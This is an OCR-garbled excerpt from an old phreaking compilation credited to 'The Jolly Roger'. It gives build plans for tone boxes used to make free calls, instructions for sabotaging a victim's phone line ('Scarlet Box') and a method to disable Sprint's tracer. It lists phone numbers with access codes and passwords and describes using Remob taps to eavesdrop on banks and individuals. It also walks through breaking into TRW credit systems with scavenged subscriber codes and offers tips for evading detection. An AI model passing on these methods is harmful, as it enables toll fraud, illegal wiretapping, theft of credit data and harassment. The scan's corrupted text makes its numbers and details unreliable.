Introduction: 



The last 30 days of PC-Pursuit have been extremely controversial. Users and ex-users have demanded accurate statistics, and Telenet has 
provided us with very littie. And the data that was provided is questionable. Well, here is some data that is guaranteed to be accurate and 
make Telenet scream. If you wish to update this data on your own, we will tell you how later in this text. The following chart consists of all the 
direct Telenet addresses of the PC- Pursuit city nodes and the total number of modems on each node. Here is what the data means: 

NJNEW/3 2011 .12 56 

II! I \- Total Number of Modems in NJNEW 
I 1 1 \- Last Working Suffix of Address sequence. 
I I \- Direct Telenet Address Prefix. 
I \— Baud Rate of This Port is 300. 
\ - Mnemonic. 

Please note that there are several perfectly legal ways to connect to a PC-Pursuit port such as NJNEW/3: 

Ways To Connect to NJNEW/3: 

1 .C D/NJNEW/3,PCP1 0000,<password> [HUNT] 

2. C2011,PCP10000,<password> [HUNT] 

3. C 201 1 .1 0.PCPI 0000,<password> [NON HUNT] 

The first, is self explanatory. The second does the same thing as the first, only that it is slightly faster and gives the user much greater 
flexibility. The third is an example the flexibility, because a request is made to connect to the tenth, and only the tenth, modem on the NJNEW/3 
port. By simply attempting to connect to every single modem in the 201 1 chain, we were able to count the number of modems on each port and 
come up with the following charts which were extracted on June the twenty ninth of the year 1989: 

Rotary Port Direct Address Max. Range City Totai Rotary Port Direct Address iUlax. Range 

City Totai 
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NOTE: CASAG/3, GASAG/24 were estimated. 

PC- Pursuit IVIodems Statistics Cliart 
Number of Modems - 01/29/89 
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14 


4 


22 


FLTAIVI 


4 


10 


4 


18 


MOKGI 


4 


12 


4 


20 


GAGLE 


4 


18 


4 


26 


GASAG 


4 


8 


4 


16 


NGRTP 


4 


12 


4 


20 


Total 


166 


562 


170 


898 


Average 


4.8823529 


16«29412 


5 


26.41 1 765 



I think tlie statistics basically speak for tfiemselves. I am sure tliere will no doubt be liundreds of people who will not smile at the number of 
specific kinds of ports supported, not to mention the number of 'dead' or 'down' modems you will find when you verify the totals. Usually, 2% to 
perhaps 1 0% of the modems are 'dead' with specific ones repeatedly failing week after week. 

History Of This Coilection: 

Almost a year ago a small selected group of devoted individuals got together to discuss problems with the PC- Pursuit Network, in the middle of 
our discussions a question was asked as to how the network really processes our calls. This was intended to help us assess SET commands 
and other such matters. When the address hypothesis was offered we quickly set out to prove it. It was proved in about 3 minutes with the 
discovery of 201 1 (First try was xxx1). The data has continually been collected and analyzed ever since, but until now, has never been mass 
released. 



A small group of teen age hackers discovered several interesting things that can be done with these addresses-- many of which will not be 
discussed here short of mentioning that these ports connected to via these addresses are not limited to PC-Pursuiters. You can, however, 
fight "dead" dialout modems in cities via the address method. Dead modems can be located in about 10 seconds (faster than Telenet), and can 
either be reported or skipped past by the user connecting to the next modem in the sequence after the "dead" one. (Note: Say 201 1 .3 is dead, 
connect to 201 1 .4 and you will be past it. If 201 1 .4 is busy, go to 201 1 «. The reader should notice 201 1 .3 is the same as 201 1 C.) 

The most interesting value of these addresses is that one can count the number of ports that Telenet keeps so secret (Grin). When there 
were only 28 cities in operation there were an average of 2.7 300 baud, 9.4 1200 baud, and 2« 2400 baud modems in each city. Some cities 
had as little as 2 modems on a port and as many as 12. Only recently has the number of modems per city begun to jump. 

How To Update The Count Yourself: 

An ID is not required to "request" one of these ports, thus the tallying can be done any time of day by simply typing the number at the @ 
prompt. Here is an example with four modems (NJNEW/24): 

@20122.1 

201 22A REFUSED COLLECT CONNECTION 19 80 
@20122.2 

201 22B REFUSED COLLECT CONNECTION 19 80 
@20122.3 

201 22C REFUSED COLLECT CONNECTION 19 80 
@20122.4 

201 22D REFUSED COLLECT CONNECTION 19 80 
@20122« 

201 22E ILLEGAL ADDRESS 19 80 

The reader should be aware that PC-Pursuit ports always respond with '19 80'. Do not confuse it with '19 00', which are not PC-Pursuit ports. 
In the above example we know there are four ports because the forth was the last existing port before we eicountered the 'ILLEGAL 
ADDRESS.' There are several ways to signify that you have gone one beyond the end of the ports: 

1 .xxx XXX ILLEGAL ADDRESS 1 9 80 

2. XXX XXX NOT OPERATING 1 9 80 

3. The request freezes (Note: Issue a BREAK then D <C/R> to abort the attempt yielding 'ATTEMPT ABORTED'.) 

You should be aware that modems which are out of order in the middle of the sequence can respond with 'NOT OPERATING' or may freeze 
the request. You should also note that when updating the existing list, all you need to do is try to request the next modem beyond the end as of 
the last check. 

Finding Newly Added Ports: 

Many ports have not yet been installed; hence, we do not yet know the addresses. New ports may be found by entering the first three digits 
of the area code and appending (1-29, 101-129, 201-229, 301-329, etc.) until the 'REFUSED COLLECT CONNECTION 19 80' appears. Once 
this is found, simply log onto the port address with your ID and RA/ dial some silly series of digits, disconnect the port, then connect to the PC- 
Pursuit mnemonic you think it might be and R/V redial the last number. If the numbers match, you found it. 



98. Pearl Box Plans by The Jolly Roger 

The Pearl Box: Definition - This is a box that may substitute for many boxes which produce tones in hertz. The Pearl Box when operated 
correctly can produce tones from 1-9999hz. As you can see, 2600, 1633, 1336 and other crucial tones are obviously in its sound spectrum. 

Materials you will need: 

I .C1 , C2:«mf or «uf ceramic disk capacitors 

2.01 NPN transistor (2N2222 works best) 

3.S1 Normally open momentary SPST switch 

4.S2 SPST toggle switch 

5. B1 Standard 9- Volt battery 

6. R1 Single turn, 50k potentiometer 

7. R2 Single turn, 1 00k potentiometer 

8. R3 Single turn, 500k potentiometer 

9. R4 Single turn, 1 Meg potentiometer 

10.SPKR...Standard 8-ohm speaker 

I I .T1 Mini transformer (8-ohm works best) 

12.Misc...Wire, solder, soldering iron, PC board or perfboard, box to contain the completed unit, battery clip 



Instructions for building Pearl Box: 

Since the instruction are EXTREMELY difficult to explain in words, you will be given a schematic instead. It will be quite difficult to follow but try 
it any way. 

(Schematic for The Pearl Box) 
+— + -+ + 

! I \ 

C1 C2 \ 

I I + 

+ + +T1 

\ + -+-+ 

I b c I + 

I Q1 ! -t-SI- 

! e 82— + ! SPKR 

I ! I - 

I 81 ! 

I I ! 

I -I- + 

!R1 R2 R3 R4I 

AA MM AA 
+-+ -I— + +-+ 

Now that you are probably thoroughly confused, let me explain a few minor details. The potentiometer area is rigged so that the left pole is 
connected to the center pole of the potentiometer next to it. The middle terminal of T1 is connected to the piece of wire that runs down to the 
end of the battery. 

Correct operation of Tfie Pearl Box: 

You may want to get some dry-transfer decals at Radio Shack to make this job a lot easier. Also, some knobs for the tops of the 
potentiometers may be useful too. Use the decals to calibrate the knobs. R1 is the knob for the ones place, R2 is for the tens place, R3 if for the 
hundreds place and R4 is for the thousands place. S1 is for producing the all the tones and S2 is for power. 

1 .Turn on the power and acjust the knobs for the desired tone. 

(Example: For 2600 hz-R1=0:R2=0:R3=6:R4=2) 
2.Hit the push-button switch and VIOLA! You have the tone. If you don't have a tone recheck all connections and schematic. 



99. The Phreak file by The Jolly Roger 

202 282 3010 UNIV. OF D.C. 

202 553 0229 PENTAGON T.A.C. 

202 635 5710 CATHOLIC UNIV. OF AMERICA 

202 893 0330 DEFENSE DATA NETWORK 

202 893 0331 DEFENSE DATA NETWORK 

202 965 2900 WATERGATE 

203 771 4930 TELEPHONE PIONEERS 
206 641 2381 VOICE OF CHESTER 
21 2 526 1 1 1 1 NEW YORK FEED LINE 
212 557 4455 SEX HOT LINE 

212 799 5017 ABC NY FEED LINE 
212 934 9090 DIAL-AN- IDIOT 
212 976 2727 P.D.A. 

212 986 1660 STOCK QUOTES 

213 541 2462 STOCK MARKET REPORTS 
213 547 6801 NAVY SHIPS INFO 

213 576 6061 " " 

213 664 3321 NEWS FOR THE BLIND 

301 3931000" " 

301 667 4280 LOTTERY INFO 

312 939 1600" " 

404 221 5519 NUCLEAR COMMISSION 

408 248 8818 1ST NATIONAL BANK 

415 642 2160 EARTHQUAKE REPORT 

505 883 6828 " " 

512 472 2181 " " 

51 2 472 4263 WEIRD RECORDING 



512 472 9833" " 

512 472 9941 INSERT 25 CENTS 

512 472 9941 SPECIAL RECORDING 

512 870 2345" " 

516 7941707" " 

619 748 0002LCXDPLINE 

619 748 0003" " 

703 331 0057 MCI (5 DIGITS) 

703 334 6831 WASH. POST 

703 354 8723 COMPEL INC. 

703 737 2051 METROPHONE (6 DIGITS) 

703 835 0500 VALNET (5 DIGITS) 

703 861 7000 SPRINTT (6/8 DIGITS) 

703 861 91 81 SPRINT (6/8 DIGITS) 

714 974 4020 CA. MAINFRAME 

716 475 1072 N.Y. DEC-SYSTEM 

800 222 0555 RESEARCH INSTITUTE 

800 223 3312 CITIBANK 

800 227 5576 EASTERN AIRLINES 

800 248 0151 WHITE HOUSE PRESS 

800 321 1424 FLIGHT PLANES 

800 323 3026 TEL -TEC (6 GIGfTS) 

800 323 4756 MOTOROLA DITELL 

800 323 7751 MCI MAINFRAME 

800 325 4112 EAsYLINK 

800 325 6397 FYI 

800 344 4000 MSG SYSTEM 

800 368 6900 SKYLINE ORDER LINE 

800 424 9090 RONALD REAGAN'S PRESS 

800 424 9096 WHITE HOUSE SWITCH 

800 438 9428 ITT CITY CALL SWITCHING 

800 521 2255 AUTONET 

800 521 8400 TRAVELNET (8 DIGITS) 

800 526 3714 RCA MAINFRAME 

800 527 1800 TYMNET 

800 621 3026 SPECIAL OPERATOR 

800 621 3028 " " 

800 621 3030 " " 

800 621 3035 " " 

800 631 1146 VOICE STAT 

800 821 2121 BELL TELEMARKETING 

800 828 6321 XEROX $ 

800 858 9313 RECORD-A-\/OICE 

800 882 1061 AT&T STOCK PRICES 

914 9971277" " 

916 445 2864 JERRY BROWN 

N/A950 1000 SPRINT 

N/A 950 1022 MCI EXECUNET 

N/A 950 1033 US TELEPHONE 

N/A 950 1 044 ALLNET (6 DIGITS) 

N/A 950 1 066 LEXITEL 

N/A 950 1 088 SKYLINE (6 DIGITS) 



PHONE # I DESCRFTIONCODE 



201-643-2227 | CODES:2351 99, 235022 AND 121270 
I 

800-32S4112 I WESTERN UNDN 

I 

800-547-1784 | C0DES:1 01 111, 350009 AND 350008 

1 

800-424-9098 | TOLL FREE WHITE HS. 

I 

800-424-9099 | DEFENSE HOT LINE 
I 



202-965-2900 | WATERGATE 
I 

800-368-5693 | HOWARD BAKER HOTLINE 
I 

202-456-7639 | REAGANS SECRETARY 

I 

202-54S6706 | PENTTAGON 

I 

202-694^0004 | PENTTAGON MODEM 

I 

201-932-3371 | RELTTERS 
I 

800-32S2091 | PASSWORD: GAMES 

I 

800-228- 11111 AMERICAN EXPRESS 
I 

617-258-8313 | AFTER CONNECT PRESS CTRL -C 
I 

800-323-7751 | PASSWORD:REGISTER 
I 

800-322-1415 | CODES:266891 , 41 1266 AND 836566 (USED BY SYSOP) 

The following 800 #'s have been collected however no codes have been found yetl if you hack any please let me know.. 
phone # I codes: 



800-321-3344 
800-323-3027 
800-323-3208 
800-323-3209 
800-325-7222 
800-327-9895 
800-327-9136 
800-343-1844 
800-547-1784 
800-547-6754 
800-654-8494 
800-682-4000 
800-858-9000 



??????????? 
??????????? 
??????????? 
??????????? 
??????????? 
??????????? 
??????????? 
??????????? 
??????????? 
??????????? 
??????????? 
??????????? 

77777?????? 



800 numbers with carriers. 

800-323-9007 

800-323-9066 

800-323-9073 

800-321-4600 

800-547-1784 

1-800 numbers of the government 
800-321-1082:NAVY FINANCE CENTER. 
800-424-5201 :EXPORT IMPORT BANK. 
800-523-0677:ALCOHOL TOBACCO AND. 
800-532- 1 556:FED INFORMATION 

CNTR1-1082:NAVY FINANCE CENTER. 
800-424-5201 :EXPORT IMPORT BANK 
800-523-0677:ALCOHOL TOBACCO AND. 
800-532-1556:FED INFORMATION CNTR. 
800-32S4072:COMBAT & ARMS SERVICE. 
800-325-4095:COMBAT SUPPORT BRANCH. 
800-325-4890:ROPD USAR COMBAT ARMS. 
800-432-3960:SOCIAL SECURITY. 
800-426-5996:PUGET NAVAL SHIPYARD. 
Directory of toll free numbers. 
800-432-3960:SOCIAL SECURITY. 
800-426-5996:PUGET NAVAL SHIPYARD. 
Directory of toll free numbers. 



301-234-01 OOfiALTIMORE ELECTRIC. 
202-456-1 41 4:WHITE HOUSE. 
202-54S6706:PErsn"AGON. 

202- 343-1 100:EPA. 

71 4^891-1 267:DIAL-A-GEEK. 
71 4-897-551 1:TIMELY. 
213-571-6523:SATANIC MESSAGES. 
21 3-664- 7664:DIAL-A-SONG. 
405-843- 7396:SYNTHACER MUSIC. 
21 3-765-1 000:LIST OF MANY NUMBERS. 
512-472-4263:WIERD. 
51 2-472-9941 :INSERT 25. 

203- 771-3930:PIONEERS. 

21 3-254-491 4:DIAL-A-A"nHIEST. 

212- 586-0897:DIRTY. 

21 3- 840-3971 :HOROWIERD 
203-771-3930:PIONEERS 
471-9420,345-9721 ,836-8962 
836-3298,323-^1 39,836-5698 
471-9440,471 -9440,471 -6952 
476-6040,327-9772,471 -9480 
800- 32S 1 693,800-325-41 1 3 
800-521-8400:VOICE ACTIVATED 

21 3-992-8282:METROFONE ACCESS NUMBER 

61 7-738-5051 PIRATE HARBOR 

61 7-720-3600:TIMECOR #2 

301-344^91 56:N.A.S.A PASSWORD:GASET 

318-233-6289:UNIVERSITY LOUISIANA 

21 3-822-21 1 2:21 3-822-3356 

213-822-1924:213-822 3127 

21 3-449-4040:TECH CENTER 

21 3-937- 3580:TELENET 

1-800-842-8781 

1-800-368-5676 

1-800-34S3878 

212- 331-1433 

213- 892-7211 
213-626-2400 
713-237-1822 
713-224-6098 
713-225-1053 
713-224^9417 
818-992-8282 
1-800-521-8400 

After entering the sprint code, and, C+Destination number. Then enter this 
number: "205#977#22", And the main tracer for sprint will be disabled. 

21S561-3199/SPRINT LONG DISTANCE 
202-456-1414'WHITE HOUSE 
01 1-441-930-483aQUEEN ELIZABETH 
91 6-44S2864/JERRY BROWN 
800-424-9090/RONALD REAGAN'S PRESS 
212-799-5017/ABC NEW YORK FEED LINE 
800-882- 1 061/AT & T STOCK PRICES 

21 2- 986- 1 660/STOCK QUOTES 

21 3- 935- 1 1 1 1/WIERD EFFECTS! 
512-472-426aWIERD RECORDING 

212- 976-2727/P.D.A. 
619-748-0002TONE CO. TESTING LINES 
900-41 0-6272«PACE SHUTTLE COMM. 
20 1 -22 1 -6397/AMERICAN TELEPHONE 
215-466-6680/BELL OF PENNSYLVANIA 
202-347-0999/CHESAPEAKE TELEPHONE 

21 3- 829-01 1 1/GENERAL TELEPHONE 
808-533-4426/HAWAIIAN TELEPHONE 



31 2- 368-8000/ILLINOIS BELL TELEPHONE 
31 7-265-861 1/INDIANA BELL 

313- 223-7233/MICHIGAN BELL 

313- 223-7223/NEVADA BELL 
207-95S1111/NEW ENGLAND TELEPHONE 
201-483-3800/NEW JERSEY BELL 

21 2- 395- 2200/NEW YORK TELEPHONE 

51 5- 243-0890/NORTHWESTERN BELL 

216- 822-6980/OHIO BELL 
206-345-2900/PACIFIC NORTHWEST BELL 

21 3- 621-4141/PACIFIC TELEPHONE 
20S321-2222/SOUTH CENTRAL BELL 
404^391-249Q/SOLmHERN BELL 
203-771-4920/SOUTHERN NEW ENGLAND 

314- 247-551 1 /SOUTHWESTERN BELL 

41 4- 678-351 1/WISGONSIN TELEPHONE 
800-327-671 3/UNKNOWN ORIGIN 
303-232-8555/HP3000 
31S423-1313/DEC-10 
313-577-0260/WAYNE STATE 

51 2-474^501 1/AUSTIN CXDMPLTTERS 

51 6- 567-801 3/LYRICS TIMESHARING 

21 2- 369-51 14/RSTS/E 

415- 327-5220/NEC 

71 3-795- 1 200/SHELL COMPUTERS 
518-471-81 11/CNA OF NY 
800-327-6761/AUTONET 

800- 228-1 1 1 1/VISA CREDIT CHECK 

713- 483-2700/NASUA 

21 3- 383- 1115/COSMOS 
408-280-1 901 ATRW 
404-885-3460/SEARS CREDIT CHECK 

41 4- 289- 9988/AARDVARK SOFTWARE 

91 9-852- 1482'ANDROMEDA INCORPORATED 
213-98S2922/ARTSCI 
714'627-9887/ASTAR INTERNATIONAL 
41S964-8021/AUTOMATED SIMULATIONS 
503-345-3043/AVANT GARDE CREATIONS 

415- 456-6424/BRODERBUND SOFTWARE 
41 5-658-8141/BUDGE COMPANY 

71 4- 755-5392/CAVALIER COMPUTER 

801- 753-6990/COMPUTER DATA SYSTEMS 
213-701-5161/DATASOFT INC. 

21 3-366-71 60/DATAMOST 

71 6-442-8960/DYNACOMP 

21 3-346-6783/EDU-WARE 

800-631-0856/HAYDEN 

91 9-983- 1 990/MED SYSTEMS SOFTWARE 

31 2-433- 7550/MICRO LAB 

206-454^1 31 5/MICROSOFT 

301-659-7212/MUSE SOFTWARE 

209-683-6858/ON-UNE SYSTEMS 

203-661-8799/PROGRAM DESIGN (PDI) 

21 3-344-6599/OUALITY SOFTWARE 

303-925- 9293/SENTIENT SOFTWARE 

702-647- 2673/SIERRA SOFTWARE 

91 6-920- 1939/SIRIUS SOFTWARE 

21S393-2640/SIR-TECH 

41 S962-891 1/SOFTWARE PUBLISHERS 

41 5-964^1353«TF!ATEGIC SIMULATIONS 

21 7- 359-8482/SUBLOGIC COM. 
206-226-321 6/SYNERGISTlC SOFTWARE 

Here are a few tips on how not to get caught when using MCI or other such services: 

1 .Try not to use them for voice to voice personal calls. Try to use them for computer calls only. Here is why: 



MCI and those other services can't really trace the calls that come through the lines, they can just monitor them. They can listen in on your calls 
and from that, they can get your name and other information from the conversation. They can also call the number you called and ask your 
friend some questions. If you call terminals and BBS'S then it is much harder to get information. For one thing, most sysops won't give 
these dudes that call any info at all or they will act dumb because they PHREAK themselvesi 

2.Beware when using colored boxes! They are easy to find!!!!! 

S.Try to find a sine-wave number. Then use an IVICI or other service to call it. You will hear a tone that goes higher and lower. If the tone just 
stops, then that code is being monitored and you should beware when using it. 

If you do get caught, then if you think you can, try to weasel out of it. I have heard many stories about people that have pleaded with the IVICI 
guys and have been let off. You will get a call from a guy that has been monitoring you. Act nice. Act like you know it is now wrong to do this 
kind of thing just sound like you are sorry for what you did. (If you get a call, you probably will be a little sorry!) Othenwise, it is very 

dangerous!!!!!!! (Very with a capital V!) 



100. Red Box Plans by The Jolly Roger 

Red boxing is simulating the tones produced by public payphones when you drop your money in. The tones are beeps of 2200Hz + 1700Hz a 
nickle is 1 beep for 66 milliseconds. A dime is 2 beeps, each 66 milliseconds with a 66 millisecond pause between beeps. A quarter is 5 beeps, 

each 33 milliseconds with a 33 millisecond pause between beeps. 

There are two commonly used methods being used by Phreaks to make free calis. 

1 .An electronic hand-held device that is made from a pair of Wien-bridge oscillators with the timing controlled by 555 timing chips. 
2.A tape recording of the tones produced by a home computer. One of the best computers to use would be an Atari ST. It is one of the easier 
computers to use because the red box tones can be produced in basic with only about 5 statements. 



101.RemObS bv The Jollv Roger 

Some of you may have heard of devices called Remobs which stands for Remote Observation System. These Devices allow supposedly 
authorized telephone employees to dial into them from anywhere, and then using an ordinary touch tone fone, tap into a customer's line in a 
special receive only mode. [The mouthpiece circuit is deactivated, allowing totally silent observation from any fone in the world (Wire tapping 

without a court order is against the law)] 

How Remobs Work 

Dial the number of a Remob unit. Bell is rumored to put them in the 555 information exchanges, oron special access trunks [Unreachable except 
via blue box]. A tone will then be heard for approximately 2 seconds and then silence. You must key in (In DTMF) a 2 to 5 digit access code 
while holding each digit down at least 1 second. If the code is not entered within 5 or 6 seconds, the Remob will release and must be dialed 

again. If the code is supposedly another tone will be heard. A seven digit subscriber fone number can then be entered [The Remob can only 
handle certain 'exchanges' which are prewired, so usually one machine cannot monitor an entire NPA]. The Remob will then connect to the 
subscribers line. The listener will hear the low level idle tone as long as the monitored party is on hook. As the monitored party dials [rotary or 
DTMF], the listener would hear [And Record] the number being dialed. Then the ENTIRE conversation, datalink, whatever Is taking place, all 
without detection. There is no current box which can detect Remob observation, since it is being done with the telephone equipment that 
makes the connection. When the listener is finished monitoring of that particular customer, he keys the last digit of the access code to 
disconnects him from the monitored line and return to the tone so that he can key in another 7 digit fone number. When the listener is totally 
finished with the Remob, he keys a single 'disconnect digit' which disconnects him from the Remob so that the device can reset and be ready 
for another caller. 

History of Remobs 

Bell has kept the existence of Remobs very low key. Only in 1974, Bell acknowledged that Remobs existed. The device was first made public 
during hearings on "Telephone Monitoring Practices by Federal Agencies" before a subcommittee on government operations. House of 
Representatives, Ninety-Third Congress, June 1974. It has since been stated by Bell that the Remob devices are used exclusively for 
monitoring Bell employees such as operators, information operators, etc., to keep tabs on their performance. [Suuureee, were stupid] 

Possible Uses for Remobs 

The possible uses of Remobs are almost as endless as the uses of self created fone line. Imagine the ability to monitor bank lines etc, just 
off the top of my head I can think of these applications: 

Data Monitoring of: 

• TRW 

• National Credit Bureau. 

• AT&T Cosmos. 



• Bank Institutions. 

• CompuServe and other Networks. 
Voice Monitoring of: 

• Bank Institutions. 

• Mail Order businesses. 

• Bell Telephone themselves. 

• Any place handling sensitive or important information. 

• Anyone that you may not like. 

With just one Remob, someone could get hundreds of credit cards, find out who was on vacation, cpt CompuServe passwords by the 
dozens, disconnect peoples tones, do credit checks, find out about anything that they may want to find out about. I'm sure you brilliant can 
see the value of a telephone hobbyist and a telecommunications enthusiast getting his hands on a few choice Remobs. <Grin> 

Caution 

If any reader should discover a Remob during his (or her) scanning excursions, please keep in mind the very strict federal laws regarding 
wiretapping and unauthorized use of private Bell property. 

102.Scarlet Box Plans by The Jolly Roger 

The purpose of a Scarlet box is to create a very bad connection, it can be used to crash a BBS or just make life miserable for those you seek 
to avenge. 

Materials: 

• 2 alligator clips 

• 3 inch wire, or a resistor (plain wire will create greatest amount of static) (Resister will decrease the amount of static in proportion to the 
resistor you are using) 

1 .Find the phone box at your victims house, and pop the cover off. 

2. Find the two prongs that the phone line you wish to box are connected to. 

3. Hook your alligator clips to your (wire/resister). 

4. Find the lower middle prong and take off all wires connected to it, I think this disables the ground and call waiting and shit like that. 

5. N0W take one of the alligator clips and attach it to the upper most prong, and take the other and attach it to the lower middle prong. 
e.Now put the cover back on the box and take offi! 
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(**)= prongs 

(/) = (wire/resister) 
(##)= some phone bullshit 



103.Sllvef Box Plans by The Jolly Roger 

Introduction: 



First a bit of Phone Trivia. A standard teleplione l<eypad lias 12 buttons. These buttons, when pushed, produce a combination of two tones. 
These tones represent the row and column of the button you are pushing. 



1 


1 


1 


2 


3 


4 


0 


3 


7 


9 


6 


7 



697 (1)(2)(3) 
770 (4) (5) (6) 
851 (7) (8) (9) 
941 n(0)(#) 

So (1) produces a tone of 697+1209, (2) produces a tone of 697+1336, etc. 

Function: 

What the Silver Box does is just creates another column of buttons, with the new tone of 1 633. These buttons are called A, B, C, and D. 
Usefulness: 

Anyone who knows anything about phreaking should know that in the old days of phreaking, phreaks used hardware to have fun instead of 
other people's Sprint and MCI codes. The most famous (and useful) was the good ol' Blue Box. However, Ma Bell decided to fight back and 
now most phone systems have protections against tone-emitting boxes. This makes boxing just about futile in most areas of the United States 

(i.e. those areas with Crossbar or Step-By-Step). If you live in or near a good-sized city, then your phone system is probably up-to-date (ESS) 
and this box (and most others) will be useless. However, if you live in the middle of nowhere (no offense intended), you may find a use for 
this and other boxes. 

Materials: 

• 1 Foot of Blue Wire 

• 1 Foot of Gray Wire 

• 1 Foot of Brown Wire 

• 1 Small SPOT Switch (*) 

• 1 Standard Ma Bell Phone 

(*)SPDT = Single Pole/Double Throw 
Tools: 

• 1 Soldering Iron 

• 1 Flat-Tip Screwdriver 

Procedure: 

1 .Loosen the two screws on the bottom of the phone and take the casing off. 

2.Loosen the screws on the side of the keypad and remove the keypad from the mounting bracket. 

S.Remove the plastic cover from the keypad. 

4. Turn the keypad so that *0# is facing you. Turn the keypad over. You'll see a bunch of wires, contacts, two Black Coils, etc. 

5. Look at the Coil on the left. It will have five (5) Solder Contacts facing you. Solder the Gray Wire to the fourth Contact Pole from the left. 
6.Solder the other end of the Gray Wire to the Left Pole of the SPOT Switch. 

7.Find the Three (3) Gold- Plated Contacts on the bottom edge of the keypad. On the Left Contact, gently separate the two touching Connectors 

(they're soldered together) and spread them apart. 
S.Solder the Brown Wire to the Contact farthest from you, and solder the other end to the Right Pole of the SPDT Switch. 
9.Solder the Blue Wire to the Closest Contact, and the other end to the Center Pole of the SPDT Switch. 
1 0.Put the phone back together. 

Using The Silver Box: 

What you have just done was installed a switch that will change the 369# column into an ABCD column. For example, to dial a 'B', switch to 
Silver Box Tones and hit '6'. 

No one is sure of the A, B, and C uses. However, in an area with an old phone system, the 'D' button has an interesting effect. Dial 
Directory Assistance and hold down 'D'. The phone will ring, and you should get a pulsing tone. If you get a pissed -off operator, you have a 
newer phone system with defenses against Silver Boxes. At the pulsing tone, dial a 6 or 7. These are loop ends. 



104.Bell Trashing by The Jolly Roger 

The Phone Co. will go to extremes on occasions. In fact, unless you really know what to expect from them, they will surprise the heck out of 
you with their "unpublished tariffs". Recently, a situation was brought to my attention that up till then I had been totally unaware of, least to 
mention, had any concern about. It involved garbage! The phone co. will go as far as to prosecute anyone who rummages through their 
garbage and helps himself to some 



Of course, they have their reasons for this, and no doubt benefit from such action. But, why should they be so picl^y about garbage? The 
answer soon became clear to me: those huge metal bins are filled up with more than waste old food and refuse... Although it is Pacific Tele, 
policy to recycle paper waste products, sometimes employees do overlook this sacred operation when sorting the garbage. Thus top-secret 
confidential Phone Co. records go to the garbage bins instead of the paper shredders. Since it is constantly being updated with "company 
memorandums, and supplied with extensive reference material, the Phone co. must continually dispose of the outdated materials. Some phone 
companies are supplied each year with the complete "System Practices" guide. This publication is an over 40 foot long library of reference 
material about everything to do with telephones. As the new edition arrives each year, the old version of "System Practices" must also be 
thrown out. 

I very quicl<ly figured out where some local phone phreaks were getting their material. They crawl into the garbage bins and remove selected 
items that are of particular interest to them and their fellow phreaks. One phone phreak in the Los Angeles area has salvaged the complete 
1972 edition of "Bell System Practices". It is so large and was out of order (the binders had been removed) that it took him over a year to sort it 
out and create enough shelving for it in his garage. 

Much of this "Top Secret" information is so secret that most phone companies have no idea what is in their files. They have their hands full 
simply replacing everything each time a change in wording requires a new revision. It seems they waste more paper than they can read! 

It took quite a while for Hollywood Cal traffic manager to figure out how all of the local phone phreaks constantly discovered the switchroom 
test numbers. 

Whenever someone wanted to use the testboard, they found the local phone phreaks on the lines talking to all points all over the world. It got to 
the point where the local garbage buffs knew more about the office operations than the employees themselves. One phreak went so far as to 
call in and tell a switchman what his next daily assignment would be. This, however, proved to be too much. The switchman traced the call 
and one phone phreak was denied the tool of his trade. 

In another rather humorous incident, a fellow phreak was rummaging through the trash bin when he heard someone approaching. He pressed 
up against the side of the bin and silently waited for the goodies to come. You can imagine his surprise when the garbage from the lunchroom 
landed on his head. Most people find evenings best for checking out their local Telco trash piles. The only thing necessary is a flashlight and, in 
the case mentioned above, possibly a rain coat. A word of warning though, before you rush out and dive into the trash heap. It is probably 
illegal, but no matter where you live, you certainly won't get the local policeman to hold your flashlight for you. 

1 0S-Canadian WATS Phonebook by The Jolly Roger 

800-227-4004 ROLM Ctollagen Corp. 
800-227-8933 ROLM Collagen Corp. 
800-268-4500 Voice Mall 
800-268-4501 ROLM Texaco 
800-268-4505 Voice Mail 
800-268-6364 National Data Credit 
800-268-7800 Voice Mail 
800-268-7808 Voice Mail 
800-328-9632 Voice Mall 
800-387-2097 Voice Mall 
800-387-2098 Voice Mall 
800-387-8803 ROLM Canadian Tire 
800-387-8861 ROLM Canadian Tire 
800-387-8862 ROLM Canadian Tire 
800-387-8863 ROLM Canadian Tire 
800-387-8864 ROLM Canadian Tire 
800-387-8870 ROLM Halifax Life 
800-387-8871 ROLM Halifax Life 
800-387-91 15 ASPEN Sunsweep 
800-387-91 16 ASPEN Sunsweep 
800-387-9175 PBX [Hold Music = CHUM FM] 
800-387-9218 Voice Messenger 
800-387-9644 Carrier 
800-426-2638 Carrier 
800-524-2133 Aspen 

800-663-5000 PBXA/oice Mail [Hold Music = CFMI FM] 
800-663-5996 Voice Mail (5 rings) 
800-847-6181 Voice Mail 



NOTES: Each and every one of these numbers is available to the 604 (British Columbia) Area Code. Most are available Canada Wide and some 
are located in the United States. Numbers designated ROLM have been identified as being connected to a ROLM Phonemail system. Numbers 
designated ASPEN are connected to an ASPEN voice message system. Numbers designated VOICE MAIL have not been identified as to 
equipment in use on that line. Numbers designated carrier are answered by a modem or data set. Most Voice Message systems, and ALL 
Rolms, sound like an answering machine. Press 0 during the recording when in a rolm, * or # or other DTMF in other systems, and be propelled 
into another world... 



1 0S-Hacking TRW by The Jolly Roger 

When you call TRW, the dial up will identify itself with the message 
"TRW". It will then wait for you to type the appropriate answer back (such as CTRL-G) Once This has been done, the system will say "CIRCUIT 
BUILDING IN PROGRESS" Along with a few numbers. After this, it clears the screen (CTRL L) followed by a CTRL-Q. After the system sends 
theCTRL-Q, It is ready for the request. You first type the 4 character identifier for the geographical area of the account.. 

(For Example) TCA1 - for certain Calif. & Vicinity subscribers. 
TCA2 - A second CALF. TRW System. 
TNJ1 - Their NJ Database. 
TGA1 - Their Georgia Database. 

The user then types A <CR> and then on the next line, he must type his 3 char. Option. Most Requests use the RTS option. OPX, RTX, and a 
few others exist. (NOTE) TRW will accept an A, C, or S as the 'X' in the options above.) Then finally, the user types his 7 digit subscriber code. 
He appends his 3-4 character password after it. It seems that if you manage to get hold of a TRW Printout (Trashing at Sears, Saks, ETC. or 
from getting your credit printout from them) Their subscriber code will be on it leaving only a 3-4 character p/w up to you. 

For Example, 
(Call the DialUp) 

TRW System Types, {ST} CTRL-G 
(You type, YT) Circuit building in progress 1234 
(ST) CTRL-L CRTL-Q (TCA1 CYT) BTS 3000000AAA 
<CRxCRTL-S> (YT] 

Note: This system is in Half Duplex, Even Parity, 7 Bits per word and 2 Stop Bits. 

CAUTION: It is a very stressed rumor that after typing in the TRW password Three (3) times.. It sets an Automatic Number Identification on your 
ass, so be careful. And forget who told you how to do this.. 



107.Hacklng Vax's & Unix by The Jolly Roger 

Unix is a trademark of AT&T (and you know what that means) 

